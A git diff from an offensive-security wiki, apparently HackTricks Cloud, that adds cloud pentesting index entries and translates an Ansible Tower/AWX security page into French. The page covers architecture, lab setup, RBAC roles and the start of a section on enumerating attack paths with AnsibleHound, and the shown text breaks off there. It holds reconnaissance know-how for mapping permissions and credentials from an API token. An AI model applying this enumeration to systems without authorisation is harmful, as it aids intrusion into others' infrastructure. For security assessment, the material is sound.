- [AWS - Cloudfront Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md)
|
||||
- [AWS - Cognito Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md)
|
||||
- [AWS - CodeBuild Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md)
|
||||
- [AWS - DocumentDB Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md)
|
||||
- [AWS - DynamoDB Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md)
|
||||
- [AWS - EC2 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md)
|
||||
- [AWS - ECR Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md)
|
||||
- [AWS - ECS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md)
|
||||
- [AWS - Elastic Beanstalk Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md)
|
||||
- [AWS - Elasticsearch Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md)
|
||||
- [AWS - IAM & STS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md)
|
||||
- [AWS - Identity Center & SSO Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md)
|
||||
- [AWS - IoT Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md)
|
||||
- [AWS - Kinesis Video Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md)
|
||||
- [AWS - Lambda Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md)
|
||||
- [AWS - Media Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md)
|
||||
- [AWS - MQ Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md)
|
||||
- [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md)
|
||||
- [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md)
|
||||
- [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md)
|
||||
- [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md)
|
||||
- [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md)
|
||||
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md)
|
||||
- [AWS - Accounts Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md)
|
||||
- [AWS - API Gateway Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md)
|
||||
- [AWS - Cloudfront Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md)
|
||||
- [AWS - Cognito Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md)
|
||||
- [AWS - CodeBuild Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md)
|
||||
- [AWS - DocumentDB Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md)
|
||||
- [AWS - DynamoDB Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md)
|
||||
- [AWS - EC2 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md)
|
||||
- [AWS - ECR Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md)
|
||||
- [AWS - ECS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md)
|
||||
- [AWS - Elastic Beanstalk Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md)
|
||||
- [AWS - Elasticsearch Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md)
|
||||
- [AWS - IAM & STS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md)
|
||||
- [AWS - Identity Center & SSO Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md)
|
||||
- [AWS - IoT Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md)
|
||||
- [AWS - Kinesis Video Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md)
|
||||
- [AWS - Lambda Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md)
|
||||
- [AWS - Media Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md)
|
||||
- [AWS - MQ Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md)
|
||||
- [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md)
|
||||
- [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md)
|
||||
- [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md)
|
||||
- [AWS - SageMaker Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md)
|
||||
- [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md)
|
||||
- [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md)
|
||||
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md)
|
||||
- [Azure Pentesting](pentesting-cloud/azure-security/README.md)
|
||||
- [Az - Basic Information](pentesting-cloud/azure-security/az-basic-information/README.md)
|
||||
- [Az Federation Abuse](pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md)
|
||||
@@ -423,6 +464,7 @@
|
||||
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
|
||||
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
|
||||
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
|
||||
- [Az - AI Foundry](pentesting-cloud/azure-security/az-services/az-ai-foundry.md)
|
||||
- [Az - Cloud Shell](pentesting-cloud/azure-security/az-services/az-cloud-shell.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
|
||||
- [Az - Container Instances, Apps & Jobs](pentesting-cloud/azure-security/az-services/az-container-instances-apps-jobs.md)
|
||||
@@ -482,6 +524,7 @@
|
||||
- [Az - VMs & Network Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md)
|
||||
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
|
||||
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
|
||||
- [Az - AI Foundry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md)
|
||||
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
|
||||
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
|
||||
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md)
|
||||
|
||||
@@ -1,18 +1,14 @@
|
||||
> [!TIP]
|
||||
> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Learn & practice Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
> Apprenez et pratiquez le hacking AWS :<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Apprenez et pratiquez le hacking GCP : <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
> Apprenez et pratiquez le hacking Azure : <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
> <summary>Support HackTricks</summary>
|
||||
> <summary>Soutenir HackTricks</summary>
|
||||
>
|
||||
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
> - Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
> - **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
> - **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
>
|
||||
> </details>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -1,63 +1,62 @@
|
||||
# Ansible Tower / AWX / Automation controller Security
|
||||
# Ansible Tower / AWX / Sécurité du contrôleur d'automatisation
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Informations de base
|
||||
|
||||
**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansible’s user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Tower’s REST API and command-line interface make it simple to integrate it into current tools and workflows.
|
||||
**Ansible Tower** ou sa version open source [**AWX**](https://github.com/ansible/awx) est également connu comme **l'interface utilisateur, le tableau de bord et l'API REST d'Ansible**. Avec **le contrôle d'accès basé sur les rôles**, la planification des tâches et la gestion graphique des inventaires, vous pouvez gérer votre infrastructure Ansible depuis une interface moderne. L'API REST de Tower et l'interface en ligne de commande facilitent son intégration dans les outils et flux de travail actuels.
|
||||
|
||||
**Automation Controller is a newer** version of Ansible Tower with more capabilities.
|
||||
**Le contrôleur d'automatisation est une version** plus récente d'Ansible Tower avec plus de capacités.
|
||||
|
||||
### Differences
|
||||
### Différences
|
||||
|
||||
According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows.
|
||||
Selon [**ceci**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), les principales différences entre Ansible Tower et AWX sont le support reçu et Ansible Tower a des fonctionnalités supplémentaires telles que le contrôle d'accès basé sur les rôles, le support pour des API personnalisées et des flux de travail définis par l'utilisateur.
|
||||
|
||||
### Tech Stack
|
||||
### Stack technique
|
||||
|
||||
- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs.
|
||||
- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface.
|
||||
- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data.
|
||||
- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners.
|
||||
- **Redis**: Redis serves as a cache and a backend for the task queue.
|
||||
- **Interface Web** : C'est l'interface graphique où les utilisateurs peuvent gérer les inventaires, les identifiants, les modèles et les tâches. Elle est conçue pour être intuitive et fournit des visualisations pour aider à comprendre l'état et les résultats de vos tâches d'automatisation.
|
||||
- **API REST** : Tout ce que vous pouvez faire dans l'interface web, vous pouvez également le faire via l'API REST. Cela signifie que vous pouvez intégrer AWX/Tower avec d'autres systèmes ou script des actions que vous effectueriez normalement dans l'interface.
|
||||
- **Base de données** : AWX/Tower utilise une base de données (généralement PostgreSQL) pour stocker sa configuration, les résultats des tâches et d'autres données opérationnelles nécessaires.
|
||||
- **RabbitMQ** : C'est le système de messagerie utilisé par AWX/Tower pour communiquer entre les différents composants, en particulier entre le service web et les exécuteurs de tâches.
|
||||
- **Redis** : Redis sert de cache et de backend pour la file d'attente des tâches.
|
||||
|
||||
### Logical Components
|
||||
### Composants logiques
|
||||
|
||||
- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc.
|
||||
- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed..
|
||||
- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job.
|
||||
- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run.
|
||||
- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials.
|
||||
- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events.
|
||||
- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc.
|
||||
- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed.
|
||||
- **Inventaires** : Un inventaire est une **collection d'hôtes (ou nœuds)** contre lesquels des **tâches** (playbooks Ansible) peuvent être **exécutées**. AWX/Tower vous permet de définir et de regrouper vos inventaires et prend également en charge les inventaires dynamiques qui peuvent **récupérer des listes d'hôtes à partir d'autres systèmes** comme AWS, Azure, etc.
|
||||
- **Projets** : Un projet est essentiellement une **collection de playbooks Ansible** provenant d'un **système de contrôle de version** (comme Git) pour tirer les derniers playbooks lorsque nécessaire.
|
||||
- **Modèles** : Les modèles de tâches définissent **comment un playbook particulier sera exécuté**, spécifiant l'**inventaire**, les **identifiants** et d'autres **paramètres** pour la tâche.
|
||||
- **Identifiants** : AWX/Tower fournit un moyen sécurisé de **gérer et de stocker des secrets, tels que des clés SSH, des mots de passe et des jetons API**. Ces identifiants peuvent être associés à des modèles de tâches afin que les playbooks aient l'accès nécessaire lorsqu'ils s'exécutent.
|
||||
- **Moteur de tâches** : C'est là que la magie opère. Le moteur de tâches est construit sur Ansible et est responsable de **l'exécution des playbooks**. Les tâches sont envoyées au moteur de tâches, qui exécute ensuite les playbooks Ansible contre l'inventaire désigné en utilisant les identifiants spécifiés.
|
||||
- **Planificateurs et rappels** : Ce sont des fonctionnalités avancées dans AWX/Tower qui permettent aux **tâches d'être planifiées** pour s'exécuter à des moments spécifiques ou déclenchées par des événements externes.
|
||||
- **Notifications** : AWX/Tower peut envoyer des notifications en fonction du succès ou de l'échec des tâches. Il prend en charge divers moyens de notifications tels que les e-mails, les messages Slack, les webhooks, etc.
|
||||
- **Playbooks Ansible** : Les playbooks Ansible sont des outils de configuration, de déploiement et d'orchestration. Ils décrivent l'état souhaité des systèmes de manière automatisée et répétable. Écrits en YAML, les playbooks utilisent le langage d'automatisation déclaratif d'Ansible pour décrire les configurations, les tâches et les étapes qui doivent être exécutées.
|
||||
|
||||
### Job Execution Flow
|
||||
### Flux d'exécution des tâches
|
||||
|
||||
1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower.
|
||||
2. **Job Initiation**:
|
||||
- The user, via the Web Interface or API, initiates a job based on a **Job Template**.
|
||||
- The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**.
|
||||
- Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution.
|
||||
3. **Job Queuing**:
|
||||
- **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ.
|
||||
- **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution.
|
||||
4. **Job Execution**:
|
||||
- The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials.
|
||||
- Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**.
|
||||
- As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**.
|
||||
5. **Job Results**:
|
||||
- Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**.
|
||||
- Users can then view the results through the Web Interface or query them via the REST API.
|
||||
- Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc.
|
||||
6. **External Systems Integration**:
|
||||
- **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more.
|
||||
- **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution.
|
||||
- **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times.
|
||||
1. **Interaction utilisateur** : Un utilisateur peut interagir avec AWX/Tower soit via l'**Interface Web** soit via l'**API REST**. Ces deux options offrent un accès frontal à toutes les fonctionnalités proposées par AWX/Tower.
|
||||
2. **Initiation de la tâche** :
|
||||
- L'utilisateur, via l'Interface Web ou l'API, initie une tâche basée sur un **Modèle de Tâche**.
|
||||
- Le Modèle de Tâche inclut des références à l'**Inventaire**, au **Projet** (contenant le playbook) et aux **Identifiants**.
|
||||
- Lors de l'initiation de la tâche, une demande est envoyée au backend d'AWX/Tower pour mettre la tâche en file d'attente pour exécution.
|
||||
3. **Mise en file d'attente de la tâche** :
|
||||
- **RabbitMQ** gère la messagerie entre le composant web et les exécuteurs de tâches. Une fois qu'une tâche est initiée, un message est envoyé au moteur de tâches via RabbitMQ.
|
||||
- **Redis** agit comme le backend pour la file d'attente des tâches, gérant les tâches mises en file d'attente en attente d'exécution.
|
||||
4. **Exécution de la tâche** :
|
||||
- Le **Moteur de Tâches** prend la tâche mise en file d'attente. Il récupère les informations nécessaires de la **Base de données** concernant le playbook associé à la tâche, l'inventaire et les identifiants.
|
||||
- En utilisant le playbook Ansible récupéré du **Projet** associé, le Moteur de Tâches exécute le playbook contre les nœuds de l'**Inventaire** spécifié en utilisant les **Identifiants** fournis.
|
||||
- Au fur et à mesure que le playbook s'exécute, sa sortie d'exécution (journaux, faits, etc.) est capturée et stockée dans la **Base de données**.
|
||||
5. **Résultats de la tâche** :
|
||||
- Une fois que le playbook a terminé son exécution, les résultats (succès, échec, journaux) sont enregistrés dans la **Base de données**.
|
||||
- Les utilisateurs peuvent ensuite consulter les résultats via l'Interface Web ou les interroger via l'API REST.
|
||||
- En fonction des résultats des tâches, des **Notifications** peuvent être envoyées pour informer les utilisateurs ou les systèmes externes de l'état de la tâche. Les notifications peuvent être des e-mails, des messages Slack, des webhooks, etc.
|
||||
6. **Intégration avec des systèmes externes** :
|
||||
- Les **Inventaires** peuvent être dynamiquement récupérés à partir de systèmes externes, permettant à AWX/Tower de tirer des hôtes de sources comme AWS, Azure, VMware, et plus encore.
|
||||
- Les **Projets** (playbooks) peuvent être récupérés à partir de systèmes de contrôle de version, garantissant l'utilisation de playbooks à jour lors de l'exécution des tâches.
|
||||
- Les **Planificateurs et Rappels** peuvent être utilisés pour s'intégrer à d'autres systèmes ou outils, permettant à AWX/Tower de réagir à des déclencheurs externes ou d'exécuter des tâches à des moments prédéterminés.
|
||||
|
||||
### AWX lab creation for testing
|
||||
|
||||
[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX:
|
||||
### Création d'un laboratoire AWX pour les tests
|
||||
|
||||
[**Suivant la documentation**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md), il est possible d'utiliser docker-compose pour exécuter AWX :
|
||||
```bash
|
||||
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
|
||||
|
||||
@@ -83,79 +82,78 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser
|
||||
# Load demo data
|
||||
docker exec tools_awx_1 awx-manage create_preload_data
|
||||
```
|
||||
|
||||
## RBAC
|
||||
|
||||
### Supported roles
|
||||
### Rôles pris en charge
|
||||
|
||||
The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**.
|
||||
Le rôle le plus privilégié s'appelle **Administrateur Système**. Quiconque a ce rôle peut **modifier n'importe quoi**.
|
||||
|
||||
From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one.
|
||||
D'un examen de **sécurité en boîte blanche**, vous auriez besoin du **rôle d'Auditeur Système**, qui permet de **voir toutes les données du système** mais ne peut apporter aucune modification. Une autre option serait d'obtenir le **rôle d'Auditeur d'Organisation**, mais il serait préférable d'obtenir l'autre.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Expand this to get detailed description of available roles</summary>
|
||||
<summary>Développez ceci pour obtenir une description détaillée des rôles disponibles</summary>
|
||||
|
||||
1. **System Administrator**:
|
||||
- This is the superuser role with permissions to access and modify any resource in the system.
|
||||
- They can manage all organizations, teams, projects, inventories, job templates, etc.
|
||||
2. **System Auditor**:
|
||||
- Users with this role can view all system data but cannot make any changes.
|
||||
- This role is designed for compliance and oversight.
|
||||
3. **Organization Roles**:
|
||||
- **Admin**: Full control over the organization's resources.
|
||||
- **Auditor**: View-only access to the organization's resources.
|
||||
- **Member**: Basic membership in an organization without any specific permissions.
|
||||
- **Execute**: Can run job templates within the organization.
|
||||
- **Read**: Can view the organization’s resources.
|
||||
4. **Project Roles**:
|
||||
- **Admin**: Can manage and modify the project.
|
||||
- **Use**: Can use the project in a job template.
|
||||
- **Update**: Can update project using SCM (source control).
|
||||
5. **Inventory Roles**:
|
||||
- **Admin**: Can manage and modify the inventory.
|
||||
- **Ad Hoc**: Can run ad hoc commands on the inventory.
|
||||
- **Update**: Can update the inventory source.
|
||||
- **Use**: Can use the inventory in a job template.
|
||||
- **Read**: View-only access.
|
||||
6. **Job Template Roles**:
|
||||
- **Admin**: Can manage and modify the job template.
|
||||
- **Execute**: Can run the job.
|
||||
- **Read**: View-only access.
|
||||
7. **Credential Roles**:
|
||||
- **Admin**: Can manage and modify the credentials.
|
||||
- **Use**: Can use the credentials in job templates or other relevant resources.
|
||||
- **Read**: View-only access.
|
||||
8. **Team Roles**:
|
||||
- **Member**: Part of the team but without any specific permissions.
|
||||
- **Admin**: Can manage the team's members and associated resources.
|
||||
9. **Workflow Roles**:
|
||||
- **Admin**: Can manage and modify the workflow.
|
||||
- **Execute**: Can run the workflow.
|
||||
- **Read**: View-only access.
|
||||
1. **Administrateur Système** :
|
||||
- C'est le rôle de superutilisateur avec des permissions pour accéder et modifier n'importe quelle ressource dans le système.
|
||||
- Ils peuvent gérer toutes les organisations, équipes, projets, inventaires, modèles de travail, etc.
|
||||
2. **Auditeur Système** :
|
||||
- Les utilisateurs avec ce rôle peuvent voir toutes les données du système mais ne peuvent apporter aucune modification.
|
||||
- Ce rôle est conçu pour la conformité et la supervision.
|
||||
3. **Rôles d'Organisation** :
|
||||
- **Admin** : Contrôle total sur les ressources de l'organisation.
|
||||
- **Auditeur** : Accès en lecture seule aux ressources de l'organisation.
|
||||
- **Membre** : Adhésion de base à une organisation sans permissions spécifiques.
|
||||
- **Exécuter** : Peut exécuter des modèles de travail au sein de l'organisation.
|
||||
- **Lire** : Peut voir les ressources de l'organisation.
|
||||
4. **Rôles de Projet** :
|
||||
- **Admin** : Peut gérer et modifier le projet.
|
||||
- **Utiliser** : Peut utiliser le projet dans un modèle de travail.
|
||||
- **Mettre à jour** : Peut mettre à jour le projet en utilisant SCM (contrôle de version).
|
||||
5. **Rôles d'Inventaire** :
|
||||
- **Admin** : Peut gérer et modifier l'inventaire.
|
||||
- **Ad Hoc** : Peut exécuter des commandes ad hoc sur l'inventaire.
|
||||
- **Mettre à jour** : Peut mettre à jour la source de l'inventaire.
|
||||
- **Utiliser** : Peut utiliser l'inventaire dans un modèle de travail.
|
||||
- **Lire** : Accès en lecture seule.
|
||||
6. **Rôles de Modèle de Travail** :
|
||||
- **Admin** : Peut gérer et modifier le modèle de travail.
|
||||
- **Exécuter** : Peut exécuter le travail.
|
||||
- **Lire** : Accès en lecture seule.
|
||||
7. **Rôles de Credential** :
|
||||
- **Admin** : Peut gérer et modifier les identifiants.
|
||||
- **Utiliser** : Peut utiliser les identifiants dans des modèles de travail ou d'autres ressources pertinentes.
|
||||
- **Lire** : Accès en lecture seule.
|
||||
8. **Rôles d'Équipe** :
|
||||
- **Membre** : Partie de l'équipe mais sans permissions spécifiques.
|
||||
- **Admin** : Peut gérer les membres de l'équipe et les ressources associées.
|
||||
9. **Rôles de Workflow** :
|
||||
- **Admin** : Peut gérer et modifier le workflow.
|
||||
- **Exécuter** : Peut exécuter le workflow.
|
||||
- **Lire** : Accès en lecture seule.
|
||||
|
||||
</details>
|
||||
|
||||
## Enumeration & Attack-Path Mapping with AnsibleHound
|
||||
## Énumération & Cartographie des Chemins d'Attaque avec AnsibleHound
|
||||
|
||||
`AnsibleHound` is an open-source BloodHound *OpenGraph* collector written in Go that turns a **read-only** Ansible Tower/AWX/Automation Controller API token into a complete permission graph ready to be analysed inside BloodHound (or BloodHound Enterprise).
|
||||
`AnsibleHound` est un collecteur BloodHound *OpenGraph* open-source écrit en Go qui transforme un jeton API Ansible Tower/AWX/Automation Controller **en lecture seule** en un graphique de permissions complet prêt à être analysé dans BloodHound (ou BloodHound Enterprise).
|
||||
|
||||
### Why is this useful?
|
||||
1. The Tower/AWX REST API is extremely rich and exposes **every object and RBAC relationship** your instance knows about.
|
||||
2. Even with the lowest privilege (**Read**) token it is possible to recursively enumerate all accessible resources (organisations, inventories, hosts, credentials, projects, job templates, users, teams…).
|
||||
3. When the raw data is converted to the BloodHound schema you obtain the same *attack-path* visualisation capabilities that are so popular in Active Directory assessments – but now directed at your CI/CD estate.
|
||||
### Pourquoi est-ce utile ?
|
||||
